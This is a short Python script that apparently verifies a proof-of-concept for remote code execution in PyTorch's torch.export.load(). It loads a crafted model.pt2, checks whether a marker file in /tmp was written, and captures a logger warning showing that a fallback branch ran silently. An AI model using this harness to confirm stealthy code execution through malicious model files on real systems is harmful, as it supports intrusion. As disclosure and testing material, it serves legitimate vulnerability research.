verify_exec.py

import logging, os, sys, io, traceback
# capture the torch warning that proves the fail-open branch ran
logbuf = io.StringIO()
h = logging.StreamHandler(logbuf); h.setLevel(logging.WARNING)
logging.getLogger("torch._export.serde.serialize").addHandler(h)
logging.getLogger("torch._export.serde.serialize").setLevel(logging.WARNING)

MARKER = "/tmp/PT2_RCE_POC.txt"
if os.path.exists(MARKER): os.remove(MARKER)

import torch
from torch.export import load

print("torch", torch.__version__)
print("marker present BEFORE load:", os.path.exists(MARKER))

ep = load(os.path.join(os.path.dirname(os.path.abspath(__file__)), "model.pt2"))
print("torch.export.load() returned:", type(ep).__name__, "(NO exception -> stealth)")

present = os.path.exists(MARKER)
print("marker present AFTER load :", present)
if present:
    print("marker contents           :", open(MARKER).read())

print("---- torch serialize logger output (proves fallback branch) ----")
print(logbuf.getvalue().strip() or "(no warning captured)")
sys.exit(0 if present else 2)